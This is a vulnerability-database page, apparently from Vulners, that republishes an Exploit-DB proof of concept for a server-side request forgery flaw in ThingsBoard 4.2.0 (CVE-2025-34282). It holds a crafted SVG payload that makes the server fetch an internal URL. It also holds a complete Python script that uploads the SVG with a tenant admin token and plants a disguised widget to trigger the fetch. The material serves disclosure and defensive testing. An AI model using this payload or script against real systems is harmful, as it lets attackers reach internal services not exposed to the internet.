Lucene search
K

ThingsBoard IoT Platform 4.2.0 - Server-Side Request Forgery (SSRF)

🗓️ 07 May 2026 00:00:00Reported by 9tamilmathiType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 48 Views

ThingsBoard 4.2.0 SSRF via Image Upload Gallery enables internal URL fetch with a crafted scalable vector graphics file; requires a tenant admin token.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-34282
26 Mar 202622:02
circl
CNNVD
ThingsBoard 安全漏洞
17 Oct 202500:00
cnnvd
CVE
CVE-2025-34282
17 Oct 202518:33
cve
Cvelist
CVE-2025-34282 ThingsBoard < v4.2.1 SVG Image SSRF
17 Oct 202518:33
cvelist
EUVD
EUVD-2025-34906
17 Oct 202521:31
euvd
NVD
CVE-2025-34282
17 Oct 202519:15
nvd
Packet Storm
📄 ThingsBoard IoT Platform 4.2.0 Server-Side Request Forgery
8 May 202600:00
packetstorm
RedhatCVE
CVE-2025-34282
20 Oct 202518:23
redhatcve
Vulnrichment
CVE-2025-34282 ThingsBoard < v4.2.1 SVG Image SSRF
17 Oct 202518:33
vulnrichment
# Exploit Title: ThingsBoard IoT Platform 4.2.0 - Server-Side Request Forgery (SSRF) 
# Date: 2026-03-25
# Exploit Author: Tamil Mathi T.
# Vendor Homepage: https://thingsboard.io
# Software Link: https://github.com/thingsboard/thingsboard
# Version: < 4.2.1
# Tested On: ThingsBoard 4.2.0
# CVE: CVE-2025-34282
# References: https://www.cve.org/CVERecord?id=CVE-2025-34282
#             https://github.com/mathitam/thingsboard-ssrf-cve-2025-34282
#
# Description:
#   ThingsBoard versions before 4.2.1 are vulnerable to SSRF via the Image
#   Upload Gallery feature. An attacker can upload a crafted SVG file containing
#   a remote URL reference (e.g. via <image xlink:href="http://127.0.0.1:5555">).
#   When ThingsBoard processes the uploaded SVG server-side, it fetches the
#   referenced URL, allowing the attacker to reach internal services not
#   exposed to the internet.
#
#   Requires a Tenant Admin bearer token. Tenant Admin is a role below System
#   Admin in ThingsBoard's hierarchy and has access to the Widget Library and
#   Image Upload Gallery APIs used in this exploit.
#
#   Attack chain:
#     1. Upload a malicious SVG to POST /api/image
#        -> Server processes the SVG and issues a request to the internal URL
#     2. Create a custom widget embedding the SVG's publicLink via <object> tag
#        -> Widget render also triggers the server-side fetch
#
#   SVG payload used (ssrf_localhost_5555_svg.svg):
#     <?xml version="1.0" standalone="no"?>
#     <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"
#          xmlns:xlink="http://www.w3.org/1999/xlink"
#          xmlns:ev="http://www.w3.org/2001/xml-events">
#     <defs>
#       <pattern id="img1" patternUnits="userSpaceOnUse" width="600" height="450">
#         <image xlink:href="http://127.0.0.1:5555" x="0" y="0" width="600" height="450" />
#       </pattern>
#     </defs>
#     <path d="M5,50 l0,100 l100,0 l0,-100 l-100,0 ..." fill="url(#img1)" />
#     </svg>
#
# Usage:
#   pip install requests
#   python thingsboard_ssrf.py <svg_file> <bearer_token>
#
# Example:
#   python thingsboard_ssrf.py ssrf_localhost_5555_svg.svg eyJhbGci...

import requests
import json
import os
import sys
import argparse
import time

DEFAULT_URL_UPLOAD = "http://localhost:8080/api/image"
DEFAULT_URL_WIDGET = "http://localhost:8080/api/widgetType"
DEFAULT_REFERER = "http://localhost:8080/resources/images"
DEFAULT_ORIGIN = "http://localhost:8080"

def upload_image(filepath, token):
    if not os.path.isfile(filepath):
        raise SystemExit(f"File not found: {filepath}")

    filename = os.path.basename(filepath)

    mime_types = {
        '.svg': 'image/svg+xml',
        '.jpg': 'image/jpeg',
        '.jpeg': 'image/jpeg',
        '.png': 'image/png',
        '.gif': 'image/gif'
    }
    ext = os.path.splitext(filename)[1].lower()
    mime_type = mime_types.get(ext, 'application/octet-stream')

    headers = {
        "X-Authorization": f"Bearer {token}",
        "User-Agent": "python-requests/2.x",
        "Referer": DEFAULT_REFERER,
        "Origin": DEFAULT_ORIGIN,
    }

    with open(filepath, "rb") as f:
        files = {
            "file": (filename, f, mime_type)
        }
        resp = requests.post(DEFAULT_URL_UPLOAD, headers=headers, files=files, timeout=30, allow_redirects=False)

    return resp

def create_widget(public_link, token):
    headers = {
        "X-Authorization": f"Bearer {token}",
        "Content-Type": "application/json",
        "Accept": "application/json, text/plain, */*",
        "Origin": DEFAULT_ORIGIN,
        "User-Agent": "python-requests"
    }

    template_html = f"""
    <tb-value-card-widget
        [ctx]="ctx"
        [widgetTitlePanel]="widgetTitlePanel">
    </tb-value-card-widget>
    <object data="{public_link}" type="image/svg+xml"></object>
    """

    payload = {
        "fqn": "SSRF_testing_Poc",
        "name": "SSRF_testing_Poc",
        "deprecated": False,
        "image": "tb-image;/api/images/system/air_quality_index_card_system_widget_image.png",
        "description": "Displays the latest air quality index telemetry in a scalable rectangle card.",
        "descriptor": {
            "type": "latest",
            "sizeX": 3,
            "sizeY": 3,
            "resources": [],
            "templateHtml": template_html,
            "templateCss": "",
            "controllerScript": "self.onInit = function() {\n    self.ctx.$scope.valueCardWidget.onInit();\n};\n\nself.onDataUpdated = function() {\n    self.ctx.$scope.valueCardWidget.onDataUpdated();\n};\n\nself.typeParameters = function() {\n    return {\n        maxDatasources: 1,\n        maxDataKeys: 1,\n        singleEntity: true,\n        previewWidth: '250px',\n        previewHeight: '250px',\n        embedTitlePanel: true,\n        supportsUnitConversion: true,\n        defaultDataKeysFunction: function() {\n            return [{ name: 'air', label: 'Air Quality Index', type: 'timeseries' }];\n        }\n    };\n};\n\nself.onDestroy = function() {\n};\n",
            "dataKeySettingsForm": [],
            "settingsDirective": "tb-value-card-widget-settings",
            "hasBasicMode": True,
            "basicModeDirective": "tb-value-card-basic-config",
            "defaultConfig": "{\"datasources\":[{\"type\":\"function\",\"name\":\"function\",\"dataKeys\":[{\"name\":\"f(x)\",\"type\":\"function\",\"label\":\"Air Quality Index\",\"color\":\"#2196f3\",\"settings\":{},\"_hash\":0.2392660816082064,\"funcBody\":\"var value = prevValue + Math.random() * 100 - 50;\\nif (value < 0) {\\n\\tvalue = 0;\\n} else if (value > 320) {\\n\\tvalue = 320;\\n}\\nreturn value;\",\"aggregationType\":null,\"units\":null,\"decimals\":null,\"usePostProcessing\":null,\"postFuncBody\":null}],\"alarmFilterConfig\":{\"statusList\":[\"ACTIVE\"]}}],\"timewindow\":{\"realtime\":{\"timewindowMs\":60000}},\"showTitle\":false,\"backgroundColor\":\"rgba(0, 0, 0, 0)\",\"color\":\"rgba(0, 0, 0, 0.87)\",\"padding\":\"0px\",\"settings\":{\"labelPosition\":\"top\",\"layout\":\"square\",\"showLabel\":true,\"labelFont\":{\"size\":14,\"sizeUnit\":\"px\",\"family\":\"Roboto\",\"weight\":\"500\",\"style\":\"normal\"},\"labelColor\":{\"type\":\"constant\",\"color\":\"rgba(0, 0, 0, 0.87)\",\"colorFunction\":\"var temperature = value;\\nif (typeof temperature !== undefined) {\\n  var percent = (temperature + 60)/120 * 100;\\n  return tinycolor.mix('blue', 'red', percent).toHexString();\\n}\\nreturn 'blue';\"},\"showIcon\":true,\"iconSize\":40,\"iconSizeUnit\":\"px\",\"icon\":\"mdi:weather-windy\",\"iconColor\":{\"type\":\"range\",\"color\":\"rgba(0, 0, 0, 0.87)\",\"rangeList\":[{\"from\":0,\"to\":50,\"color\":\"#80C32C\"},{\"from\":50,\"to\":100,\"color\":\"#FFA600\"},{\"from\":100,\"to\":150,\"color\":\"#F36900\"},{\"from\":150,\"to\":200,\"color\":\"#D81838\"},{\"from\":200,\"to\":300,\"color\":\"#8D28C\"},{\"from\":300,\"to\":null,\"color\":\"#6F113A\"}],\"colorFunction\":\"var temperature = value;\\nif (typeof temperature !== undefined) {\\n  var percent = (temperature + 60)/120 * 100;\\n  return tinycolor.mix('blue', 'red', percent).toHexString();\\n}\\nreturn 'blue';\"},\"valueFont\":{\"size\":26,\"sizeUnit\":\"px\",\"family\":\"Roboto\",\"weight\":\"500\",\"style\":\"normal\"},\"valueColor\":{\"type\":\"range\",\"color\":\"rgba(0, 0, 0, 0.87)\",\"colorFunction\":\"var temperature = value;\\nif (typeof temperature !== undefined) {\\n  var percent = (temperature + 60)/120 * 100;\\n  return tinycolor.mix('blue', 'red', percent).toHexString();\\n}\\nreturn 'blue';\",\"rangeList\":[{\"from\":0,\"to\":50,\"color\":\"#80C32C\"},{\"from\":50,\"to\":100,\"color\":\"#FFA600\"},{\"from\":100,\"to\":150,\"color\":\"#F36900\"},{\"from\":150,\"to\":200,\"color\":\"#D81838\"},{\"from\":200,\"to\":300,\"color\":\"#8D28C\"},{\"from\":300,\"to\":null,\"color\":\"#6F113A\"}]},\"showDate\":true,\"dateFormat\":{\"format\":null,\"lastUpdateAgo\":true,\"custom\":false},\"dateFont\":{\"family\":\"Roboto\",\"size\":12,\"sizeUnit\":\"px\",\"style\":\"normal\",\"weight\":\"500\"},\"dateColor\":{\"type\":\"constant\",\"color\":\"rgba(0, 0, 0, 0.38)\",\"colorFunction\":\"var temperature = value;\\nif (typeof temperature !== undefined) {\\n  var percent = (temperature + 60)/120 * 100;\\n  return tinycolor.mix('blue', 'red', percent).toHexString();\\n}\\nreturn 'blue';\"},\"background\":{\"type\":\"color\",\"color\":\"#fff\",\"overlay\":{\"enabled\":false,\"color\":\"rgba(255,255,255,0.72)\",\"blur\":3}},\"autoScale\":true},\"title\":\"Air quality card\",\"dropShadow\":true,\"enableFullscreen\":false,\"titleStyle\":{\"fontSize\":\"16px\",\"fontWeight\":400},\"units\":\"AQI\",\"decimals\":1,\"useDashboardTimewindow\":true,\"showLegend\":false,\"widgetStyle\":{},\"actions\":{},\"configMode\":\"basic\",\"displayTimewindow\":true,\"margin\":\"0px\",\"borderRadius\":\"0px\",\"widgetCss\":\"\",\"pageSize\":1024,\"noDataDisplayMessage\":\"\",\"showTitleIcon\":false,\"titleTooltip\":\"\",\"titleFont\":{\"size\":12,\"sizeUnit\":\"px\",\"family\":null,\"weight\":null,\"style\":null,\"lineHeight\":\"1.6\"},\"titleIcon\":\"\",\"iconColor\":\"rgba(0, 0, 0, 0.87)\",\"iconSize\":\"14px\",\"timewindowStyle\":{\"showIcon\":true,\"iconSize\":\"14px\",\"icon\":\"query_builder\",\"iconPosition\":\"left\",\"font\":{\"size\":12,\"sizeUnit\":\"px\",\"family\":null,\"weight\":null,\"style\":null,\"lineHeight\":\"1\"},\"color\":null}}"
        },
        "resources": None,
        "scada": False,
        "tags": ["weather", "environment", "air", "aqi", "pollution", "emission", "smog"]
    }

    try:
        resp = requests.post(DEFAULT_URL_WIDGET, headers=headers, json=payload)
        return resp
    except Exception as e:
        print(f"Request failed: {e}", file=sys.stderr)
        sys.exit(1)

def main(image_path, token):
    try:
        resp = upload_image(image_path, token)
        print("Upload Status:", resp.status_code)

        public_link = resp.json().get("publicLink") or (resp.json().get("data") and resp.json()["data"].get("publicLink"))
        if not public_link:
            print(resp.json())
            print("Failed to retrieve public link from response.")
            sys.exit(1)

        print("Public Link:", public_link)

        time.sleep(2)

        widget_resp = create_widget(public_link, token)
        print("Widget Creation Status:", widget_resp.status_code)
        print("\n[+] Widget created successfully.")
        print("    Look for widget named 'SSRF_testing_Poc' in the Widget Library.")
        print("    Add it to any dashboard to trigger the SSRF.")

    except Exception as e:
        print("Error:", e, file=sys.stderr)
        sys.exit(1)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="ThingsBoard SSRF via SVG Upload PoC")
    parser.add_argument("image", help="Path to the SVG file to upload")
    parser.add_argument("token", nargs="?", default=os.environ.get("TB_TOKEN"), help="Bearer token (or set TB_TOKEN env var)")
    args = parser.parse_args()

    if not args.token:
        print("Error: token not provided and TB_TOKEN not set.", file=sys.stderr)
        parser.print_help()
        sys.exit(2)

    main(args.image, args.token)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 May 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.19.1
CVSS 46.9
EPSS0.01542
SSVC
48